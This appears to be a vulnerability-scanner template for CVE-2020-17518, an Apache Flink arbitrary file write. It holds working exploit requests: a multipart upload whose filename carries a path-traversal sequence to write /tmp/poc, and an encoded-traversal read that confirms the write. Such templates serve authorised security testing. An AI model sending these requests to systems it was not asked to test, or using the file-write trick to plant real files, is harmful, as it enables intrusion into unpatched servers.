id: CVE-2020-17518

info:
  name: Apache Flink Upload Path Traversal
  author: pdteam
  severity: high
  description: |
    Apache Flink 1.5.1 introduced a REST handler that allows you to write an uploaded file to an arbitrary location on the local file system,
    through a maliciously modified HTTP HEADER.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-17518
    cwe-id: CWE-22
  tags: cve,cve2020,apache,lfi,flink,upload

requests:
  - raw:
      - |
        POST /jars/upload HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y

        ------WebKitFormBoundaryoZ8meKnrrso89R6Y
        Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc"

        test-poc
        ------WebKitFormBoundaryoZ8meKnrrso89R6Y--

  - method: GET
    path:
      - '{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc'

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "test-poc") && status_code == 200' # Using CVE-2020-17519 to confirm this.